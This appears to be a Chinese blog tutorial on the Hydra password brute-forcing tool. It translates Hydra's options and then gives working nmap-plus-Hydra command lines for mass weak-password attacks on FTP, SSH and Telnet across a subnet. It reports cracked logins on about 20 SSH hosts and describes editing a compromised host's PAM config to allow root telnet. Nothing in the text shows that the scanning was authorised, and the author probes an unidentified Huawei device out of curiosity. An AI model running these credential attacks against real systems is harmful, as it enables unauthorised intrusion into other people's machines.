Hydra[ˈhaɪdrə],九头蛇,希腊神话中的怪兽,在网安工具中,是一款暴力破解的利器!
Linux下载:https://github.com/vanhauser-thc/thc-hydra
Windows下载:https://github.com/maaaaz/thc-hydra-windows
本文采用windows环境演示,下载后,解压,运行【hydra.exe】即可。
PS:windows的版本比linux的要晚几个月出,也就是它不是最新的hydra版本,如果要用最新特性,请在linux上运行使用。
使用方法:hydra.exe -h
把【hydra -h】的结果翻译一下:
Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT]
[-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [service://server[:PORT][/OPT]]
-R 恢复先前中止/崩溃的会话,继续上次的扫描(解决hydra的不稳定问题)
-I 忽略现有的恢复文件(不要等待10秒)
-S 采用SSL连接
-s PORT 如果服务使用的不是默认端口,那可以这样指定
-l LOGIN or -L FILE 使用指定登录名,或从文件加载多个登录名
-p PASS or -P FILE 使用指定密码,或从文件加载多个密码
-e nsr n 表示空密码登陆,s 表示使用 pass 和 / 登陆,r表示反向登陆
-u 围绕用户循环,而不是密码,也就是说一个用户尝试所有密码之后,再开始下一个用户
-C FILE 这是-L和-P的替代者,-C表示一个行格式如name:pass的用户名和密码组合的字典文件(路径)
-M FILE 表示需要爆破的服务列表字典,使用冒号“:”与PORT(端口)分割,每行一条数据
-o FILE 表示将发现的用户名和密码对写入到一个文件(路径)中,取代输出的方式
-b FORMAT 指定输入的用户名和密码对文件的格式,一般与-o参数一起使用。默认输出格式是‘text’,可指定格式‘json’、‘jsonv1’
-f / -F 发现了一个可用的用户名和密码对时,即终止爆破,通常与-M参数一起使用。-f表示每个主机,-F表示任意主机
-t TASKS 可以理解为线程数,每次启用指定数量个线程对单个主机进行爆破,默认值为16个,通常主机会限制同时连接的线程数量
-T TASKS 通常与-M参数一起使用,表示总共启用线程数对多个主机进行爆破,默认值为64个
-w / -W TIME 指定响应的最大等待时间(默认32秒) / 指定每个线程两次连接的间隔,默认0秒
-c TIME 为每次登陆请求指定一个时间长度的间隔,这样子会强制线程数为1(即:-t 1)
-4 / -6 默认使用IPv4,也可以指定为IPv6 (put always in [] also in -M)
-v / -V / -d 分别是详细模式、展示每次登陆的用户名和密码对、debug模式
-O 使用旧的SSL v2和v3
-q 不打印有关连接错误的消息
-U 服务模块使用详细信息,例如hydra -U http-get查询get请求的使用方式,hydra -U http-proxy查询http-proxy的使用方式
-h 帮助文档
server 目标DNS或IP或IP段(使用这个或-M选项)
service 服务名
OPT 一些服务模块包含附加功能(使用-U查看)
密码生成器:
-x MIN:MAX:CHARSET 密码暴力破解生成器,详细使用方式可以通过【-x -h】来了解
规则:MIN表示生成密码的最短长度;MAX表示生成密码的最长长度;CHARSET表示使用指定的字符生成密码,
'a'表示所有的小写字母,'A'表示所有的大写字母,'1'表示所有的数字,对于其他字符,只需要添加在后面即可
-y 使用方式见-x,它表示charset的字符是实际的字符,而不是正则表达式
-x 3:5:a 生成的密码字典长度为3到5位,由所有的小写字母组成
-x 5:8:A1 生成的密码字典长度为5到8位,有所有的大写字母和数字组成
-x 5:5/%,.- 生成的密码字典长度为5位,只由'/ % , . -'这5种字符构成
-x 3:5:aA1 -y 生成的密码字典长度为3到5位,且只由'a A 1'这三种字符组成
adam6500 asterisk cisco cisco-enable cvs ftp[s] http[s]-{head|get|post} http[s]-{get|post}-form
http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql
nntp oracle-listener oracle-sid pcanywhere pcnfspop3[s] postgres redis rexec rlogin rpcap rsh rtsp
s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey teamspeak telnet[s] vmauthd vnc xmpp
基本使用都是这个套路:
单点:hydra 各类参数(如:-I -f -vV) -l 账号 -P 密码字典 -o 结果存储文件 服务名://地址
批量:hydra 各类参数(如:-I -f -vV) -l 账号 -P 密码字典 -M 地址文件 -o 结果存储文件 服务名
PS:下面会用到主机渗透神器NMAP,不会用的可以看看:主机渗透神器:NMAP (功能介绍,安装,使用,参数完整翻译)
ftp:File Transfer Protocol,一种文件传输协议,使用端口21
渗透目标:批量扫描一个网段的弱口令
nmap -vv -n -sS -sU -p21 192.168.27.0/24 | C:\GnuWin\GnuWin32\bin\grep.exe "Discovered open port" | C:\GnuWin\gawk-3.1.6-1-bin\bin\awk.exe {"print $6"} | C:\GnuWin\gawk-3.1.6-1-bin\bin\awk.exe -F/ {"print $1"} > E:\桌面\hack\workspace\21-output.txt
结果:
192.168.27.46
192.168.27.89
192.168.27.46:发现可以直接访问
hydra -I -f -l wang -P E:\桌面\hack\tools\Fuzz字典\密码字典\test.txt -o E:\桌面\hack\workspace\ftp-pwd-result.txt ftp://192.168.27.46
结果:检测出密码值
使用账号密码登陆:发现和匿名账号访问的还不是同一个路径
至于:27.89,出于好奇,收集一波信息看看:
发现:开放了一堆奇奇怪怪的端口,可能和路由有关
发现:nmap无法识别操作系统,猜测可能是一台国产操作系统
发现:443和80开放了华为的登陆页面,猜测可能是台华为的设备
OK,后面找机会再看......
ssh:Secure Shell缩写,一种远程登陆会话的协议,使用端口22
渗透目标:批量扫描一个网段的弱口令
nmap -vv -n -sS -sU -p22 192.168.27.0/24 | C:\GnuWin\GnuWin32\bin\grep.exe "Discovered open port" | C:\GnuWin\gawk-3.1.6-1-bin\bin\awk.exe {"print $6"} | C:\GnuWin\gawk-3.1.6-1-bin\bin\awk.exe -F/ {"print $1"} > E:\桌面\hack\workspace\22-output.txt
结果:【22-output.txt】内容:35个IP结果
hydra -I -t 1 -l root -P E:\桌面\hack\tools\Fuzz字典\密码字典\test.txt -M E:\桌面\hack\workspace\22-output.txt -o E:\桌面\hack\workspace\ssh-pwd-result.txt ssh
结果:【ssh-pwd-result.txt】内容:发现20台存在弱口令
PS:Hydra批量扫描经常会出现崩溃,解决方案有:降低线程数量【-t 1】or【-T 6】,还出现问题,那么只能分多次扫描,减少每次扫描IP的数量;其二,不一定一次就能把所有弱口令全部检测全,可能会有遗漏,可以多测几次。
telnet:也是一种远程访问协议,可共用操作系统账号,使用端口23
目标:批量扫描一个网段的弱口令
nmap -vv -n -sS -sU -p23 192.168.27.0/24 | C:\GnuWin\GnuWin32\bin\grep.exe -E "open|scan" |C:\GnuWin\GnuWin32\bin\grep.exe -v "filtered\|down"
结果:只发现一台是明确开放了23端口的,这里需要对nmap的扫描结果的6个状态有了解。
hydra -I -f -vV -l root -P E:\桌面\hack\tools\Fuzz字典\密码字典\test.txt -o E:\桌面\hack\workspace\telnet-pwd-result.txt telnet://192.168.27.32
结果:探测出账号密码
PS:不过linux环境下一般是不会让telnet,通过root登陆的,这里是用之前ssh的弱口令登陆上去修改了安全配置(CentOS,注释掉【/etc/pam.d/remote】文件内容:auth required pam_securetty.so)
待续......
爱家人,爱生活,爱设计,爱编程,拥抱精彩人生!